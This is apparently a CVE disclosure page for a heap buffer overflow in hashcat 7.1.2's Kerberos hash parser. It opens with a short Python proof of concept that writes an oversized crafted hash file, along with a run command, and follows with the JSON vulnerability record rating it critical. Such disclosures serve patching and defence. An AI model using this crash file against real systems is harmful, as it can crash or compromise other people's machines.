CVE-2026-42483

import sys # PoC for CVE-2026-42483 # Generate a crafted Kerberos hash file to trigger heap buffer overflow # The vulnerability occurs due to lack of upper-bound validation on account_info_len # Structure: $krb5pa$...$... # We insert a long string between delimiters to overflow the account_info buffer payload = "A" * 5000 # Large payload to trigger overflow # Constructing a malformed Kerberos hash line crafted_hash = f"$krb5pa$23${payload}$test" with open("crash_hash.txt", "w") as f: f.write(crafted_hash) print("[+] Malicious hash file generated: crash_hash.txt") print("[*] Usage: ./hashcat -m 7500 crash_hash.txt")

{"cve": {"id": "CVE-2026-42483", "sourceIdentifier": "[email protected]", "published": "2026-05-01T14:16:22.687", "lastModified": "2026-05-01T18:16:16.020", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A heap-based buffer overflow in the Kerberos hash parser in hashcat v7.1.2 allows an attacker to cause a denial of service or possibly execute arbitrary code via a crafted Kerberos hash file. The issue affects module_hash_decode in multiple Kerberos-related modules because account_info_len is calculated from untrusted delimiter positions without upper-bound validation before memcpy copies the data into a fixed-size account_info buffer."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hashcat:hashcat:7.1.2:*:*:*:*:*:*:*", "matchCriteriaId": "E1ECAF10-13E9-4F40-973C-EBC2BC0CDA88"}]}]}], "references": [{"url": "https://gist.github.com/sgInnora/107f2eb20367e47d58c911e38d56a91f", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Third Party Advisory"]}, {"url": "https://gist.github.com/sgInnora/107f2eb20367e47d58c911e38d56a91f", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Third Party Advisory"]}]}}